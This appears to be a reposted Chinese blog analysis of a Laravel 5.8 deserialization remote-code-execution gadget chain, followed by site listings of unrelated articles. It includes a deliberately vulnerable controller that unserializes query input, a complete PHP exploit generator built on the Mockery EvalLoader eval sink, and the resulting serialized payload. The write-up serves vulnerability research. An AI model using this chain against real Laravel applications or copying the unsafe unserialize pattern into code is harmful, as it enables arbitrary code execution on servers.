Laravel 5.8 RCE 分析
原帖地址 : https://xz.aliyun.com/t/6059
Laravel 代码审计
环境搭建
composer create-project --prefer-dist laravel/laravel laravel58安装 Laravel 5.8 并生成laravel58项目进入项目文件夹,使用
php artisan serve启动 web 服务在
laravel58/routes/web.php文件添加路由Route::get("/","\App\Http\Controllers\DemoController@demo");
在
laravel58/app/Http/Controllers/下添加DemoController.php控制器<?php
namespace App\Http\Controllers; class DemoController extends Controller
{
public function demo()
{
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Welcome to laravel5.8";
}
}
漏洞分析
ph 牛的 payload : https://github.com/ambionics/phpggc/pull/61
从
Illuminate\Broadcasting\PendingBroadcast类的__destruct方法开始的 pop 链Illuminate\Broadcasting\PendingBroadcast中,$events必须实现Dispatcher接口,这里选择的是Illuminate\Bus\Dispatcherpublic function __construct(Dispatcher $events, $event)
{
$this->event = $event;
$this->events = $events;
} public function __destruct()
{
$this->events->dispatch($this->event);
}
Illuminate\Bus\Dispatcher中,调用dispatch方法,进入if判断,$this->queueResolver是在实例化Illuminate\Bus\Dispatcher时的一个参数,它必须有值,$command也就是$this->event必须实现ShouldQueue接口,这里选择的就是Illuminate\Broadcasting\BroadcastEvent// $command : $this->event
public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
} return $this->dispatchNow($command);
} public function __construct(Container $container, Closure $queueResolver = null)
{
$this->container = $container;
$this->queueResolver = $queueResolver;
$this->pipeline = new Pipeline($container);
} protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}
到这里,构造出的 exp :
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
function __construct($evilCode)
{
$this->events = new \Illuminate\Bus\Dispatcher();
$this->event = new BroadcastEvent($evilCode);
}
}
}
?>
然后进入
dispatchToQueue方法,存在call_user_func方法,其中的$this->queueResolver是可控的,这里利用的是Mockery\Loader\EvalLoader的load方法,即$this->queueResolver为array(new Mockery\Loader\EvalLoader(), "load")public function dispatchToQueue($command)
{
$connection = $command->connection ?? null; $queue = call_user_func($this->queueResolver, $connection); if (! $queue instanceof Queue) {
throw new RuntimeException('Queue resolver did not return a Queue implementation.');
} if (method_exists($command, 'queue')) {
return $command->queue($queue, $command);
} return $this->pushCommandToQueue($queue, $command);
}
这个点的意思就是
$this->events调用dispatch传入参数$this->event后- 访问
$this->events的queueResolver属性 - 调用
$this->events->commandShouldBeQueued($this->event)方法 - 调用
dispatchToQueue传入$this->event参数。其中的$connection为$this->event->connection,即Illuminate\Broadcasting\BroadcastEvent中的$connection属性 call_user_func将$connection作为参数传给$this->queueResolver返回的函数
到这里,构造出的 exp 如下,已经实现
call_user_func($this->queueResolver, $connection)即call_user_func($evilFunc, $evilCode),接下来就要寻找一个可以利用的函数,这里选择的是Mockery\Loader\EvalLoader,继续跟进<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
function __construct($evilCode)
{
$this->events = new \Illuminate\Bus\Dispatcher();
$this->event = new BroadcastEvent($evilCode);
}
} class BroadcastEvent {
public $connection;
function __construct($evilCode)
{
$this->connection = $evilCode;
}
}
} namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
function __construct()
{
$this->queueResolver = $evilFunc;
}
}
}
Mockery\Loader\EvalLoader中有一个eval函数可以利用,这里的$definition是MockDefinition类的实例化对象,也就说明$this->event->connection是MockDefinition类的实例化对象。接下来就是绕过if判断。class EvalLoader implements Loader
{
public function load(MockDefinition $definition)
{
if (class_exists($definition->getClassName(), false)) {
return;
} eval("?>" . $definition->getCode());
}
}
跟进
Mockery\Generator\MockDefinition,如果要绕过if判断,必须让getClassName返回一个不存在的类名,即$this->config->getName()返回一个不存在的类名。$config为Mockery\Generator\MockConfiguration的实例化对象class MockDefinition
{
protected $config;
protected $code; public function __construct(MockConfiguration $config, $code)
{
if (!$config->getName()) {
throw new \InvalidArgumentException("MockConfiguration must contain a name");
}
$this->config = $config;
$this->code = $code;
} public function getConfig()
{
return $this->config;
} public function getClassName()
{
return $this->config->getName();
} public function getCode()
{
return $this->code;
}
}
Mockery\Generator\MockConfiguration中,让getName()返回一个不存在的类名,最终执行eval("?>" . $definition->getCode());实现 RCEclass MockConfiguration
{
protected $name; public function getName()
{
return $this->name;
}
}
最终的 exp ,(ph 牛的 exp ) :
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
function __construct($evilCode)
{
$this->events = new \Illuminate\Bus\Dispatcher();
$this->event = new BroadcastEvent($evilCode);
}
} class BroadcastEvent {
public $connection;
function __construct($evilCode)
{
$this->connection = new \Mockery\Generator\MockDefinition($evilCode);
}
}
} namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
function __construct()
{
$this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load'];
}
}
} namespace Mockery\Loader {
class EvalLoader {}
}
namespace Mockery\Generator {
class MockDefinition {
protected $config;
protected $code;
function __construct($evilCode)
{
$this->code = $evilCode;
$this->config = new MockConfiguration();
}
}
class MockConfiguration {
protected $name = 'abcdefg';
}
} namespace {
$code = "<?php phpinfo(); exit; ?>";
$exp = new \Illuminate\Broadcasting\PendingBroadcast($code);
echo serialize($exp);
}
?>
构造输出结果 :
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:25:"Illuminate\Bus\Dispatcher":1:{S:16:"\00*\00queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;S:4:"load";}}S:8:"\00*\00event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{S:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{S:9:"\00*\00config";O:35:"Mockery\Generator\MockConfiguration":1:{S:7:"\00*\00name";S:7:"abcdefg";}S:7:"\00*\00code";S:25:"<?php phpinfo(); exit; ?>";}}}
一些思考
危险函数的寻找
eval,call_user_func
phpstorm + xdebug 调试代码
PHP 序列化的时候 private 和 protected 变量会引入不可见字符
\x00,\00Test\00y为 private,\00*\00为 protected,注意这两个\x00就是 ascii 码为 0 的字符。这个字符显示和输出可能看不到,甚至导致截断,url 编码后就可以看得很清楚了。此时,为了更加方便进行反序列化 payload 的传输与显示,我们可以在序列化内容中用大写 S 表示字符串,此时这个字符串就支持将后面的字符串用 16 进制表示。<?php
class Test
{
public $x="peri0d";
private $y="peri0d";
protected $z="peri0d";
} $k = new Test(); echo serialize($k); // O:4:"Test":3:{S:1:"x";S:6:"peri0d";S:7:"\00Test\00y";S:6:"peri0d";S:4:"\00*\00z";S:6:"peri0d";}
?>
反序列化测试代码 :
<?php
// 环境 : php 7.1.13 nts
class Test
{
public $x="peri0d";
private $y="peri0d";
protected $z="peri0d";
} $n = new Test();
var_dump(serialize($n));
var_dump(unserialize(serialize($n))); // 成功 $k = 'O:4:"Test":3:{S:1:"x";S:6:"peri0d";S:7:"\00Test\00y";S:6:"peri0d";S:4:"\00*\00z";S:6:"peri0d";}';
var_dump(unserialize($k)); // 成功 $m = 'O:4:"Test":3:{s:1:"x";s:6:"peri0d";s:7:"\00Test\00y";s:6:"peri0d";s:4:"\00*\00z";s:6:"peri0d";}';
var_dump(unserialize($m)); // 失败 $l = 'O:4:"Test":3:{s:1:"x";s:6:"peri0d";s:7:"Testy";s:6:"peri0d";s:4:"*z";s:6:"peri0d";}';
var_dump(unserialize($l)); // 失败
?>
参考链接
Laravel 5.8 RCE 分析的更多相关文章
- laravel中间件源码分析
laravel中间件源码分析 在laravel5.2中,HTTP 中间件为过滤访问你的应用的 HTTP 请求提供了一个方便的机制.在处理逻辑之前,会通过中间件,且只有通过了中间件才会继续执行逻辑代码. ...
- laravel框架源码分析(一)自动加载
一.前言 使用php已有好几年,laravel的使用也是有好长时间,但是一直对于框架源码的理解不深,原因很多,归根到底还是php基础不扎实,所以源码看起来也比较吃力.最近有时间,所以开启第5.6遍的框 ...
- CVE-2019-9081:laravel框架序列化RCE复现分析
这里贴上两篇大佬的分析的帖子 本人习惯把平常的一些笔记或者好的帖子记录在自己的博客当中,便于之后遇到同样的漏洞时快速打开思路 1.https://xz.aliyun.com/t/5510#toc-8 ...
- Laravel 5.7 RCE (CVE-2019-9081)
Laravel 代码审计 环境搭建 Laravel 5.7 文档 : https://learnku.com/docs/laravel/5.7/installation/2242 Composer 下 ...
- Laravel 获取当前 Guard 分析 —源自电商购物车的实际需求
iBrand 产品中关于购物车的需求比较复杂,我们基于 overture/laravel-shopping-cart 扩展出了更加符合电商需求的购物车包,之前有文章进行过简单的介绍: Laravel ...
- Joomla 3.4.6 RCE 分析
Joomla 3.4.6 RCE 漏洞分析,首发先知社区: https://xz.aliyun.com/t/6522 漏洞环境及利用 Joomla 3.4.6 : https://downloads. ...
- thinkphp 5.1框架利用及rce分析
前言 上个学期钻研web渗透的时候接触过几个tp的框架,但那时候还没有写blog的习惯,也没有记录下来,昨天在做ctf的时候正好碰到了一个tp的框架,想起来就复现一下 正文 进入网站,标准笑脸,老tp ...
- 【PHP】用了这么久的Laravel框架,你分析过核心架构了没
Laravel最初的设计是为了面向MVC架构的,它可以满足如事件处理.用户身份验证等各种需求.另外它还有一个由管理数据库强力支持,用于管理模块化和可扩展性代码的软件包管理器. Laravel以其简洁. ...
- CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】
昨天看了下'Follina' MS-MSDT n-day Microsoft Office RCE 这个漏洞,修改了下chvancooten的脚本,实现可以自定义word模板,便于实战中钓鱼使用,自己 ...
随机推荐
- 粒子群优化算法(PSO)之基于离散化的特征选择(FS)(三)
作者:Geppetto 前面我们介绍了特征选择(Feature Selection,FS)与离散化数据的重要性,总览的介绍了PSO在FS中的重要性和一些常用的方法,介绍了FS与离散化的背景,介绍本文所 ...
- Golang校招简历项目-简单的分布式缓存
前言 前段时间,校招投了golang岗位,但是没什么好的项目往简历上写,于是参考了许多网上资料,做了一个简单的分布式缓存项目. 现在闲下来了,打算整理下. github项目地址:https://git ...
- 使用FME对CAD数据进行过滤、中心点替换转为shapefile
1.首先加载CAD数据,并暴露出需要使用到的相关字段.比如:block_number.fme_geometry.fme_type等字段. (本次的管网设备由于是一个圆圈里面有三个文字因此将fme_ty ...
- [vijos1880]选课<树形dp>
题目链接:https://www.vijos.org/p/1180 这是一道树形dp的裸题,唯一的有意思的地方就是用到了多叉树转二叉树 然后本蒟蒻写这一道水题就是因为以前知道这个知识点但是没有怎么去实 ...
- B 外地比赛
时间限制 : - MS 空间限制 : - KB 评测说明 : 1s,256m 问题描述 何老板带着信竞队的k个同学出去外地打比赛.到达目的地后,何老板就找了一家酒店,准备住下.酒店工作人员告诉何 ...
- 阿里 IOS 面试官教你在面试中脱颖而出
前言: 知己知彼.百战不殆,面试也是如此. 只有充分了解面试官的思路,才能更好地在面试中充分展现自己. 今天,阿里高级技术专家将分享自己作为面试官的心得与体会.如果你是面试者,可以借此为镜,对照发现自 ...
- App 性能测试分享
在本文内,主要以Android性能测试为主进行分析 一.性能测试包含 1.启动时间测试 测试场景包括 - - - 首次安装启动时间.冷启动.热启动测试 2.页面响应时间: 用户从点击一个控件, ...
- 201771030103-陈正丽 实验一 软件工程准备—<快速浏览 邹欣老师博客—读后感>
项目 内容 <软件工程> 代祖华老师博客 作业要求 邹欣老师博客 学习目标 具体目标 在大概阅读邹欣老师的博客时,发现老师写了关于很多方面的内容,有基础的也有比较深奥的,这次阅读过程中主要 ...
- c期末笔记(2)
1.定义数组 1.1.a[3][2] = [1,2,3,4,5,6],代码是定义一个三行两列的二维数组.在数组声明和初始化时,如果用户定义的元素数量超过用户规定的元素数量,以语法错误报错.(如:cah ...
- Java8 新特性 Lambda & Stream API
目录 Lambda & Stream API 1 Lambda表达式 1.1 为什么要使用lambda表达式 1.2 Lambda表达式语法 1.3 函数式接口 1.3.1 什么是函数式接口? ...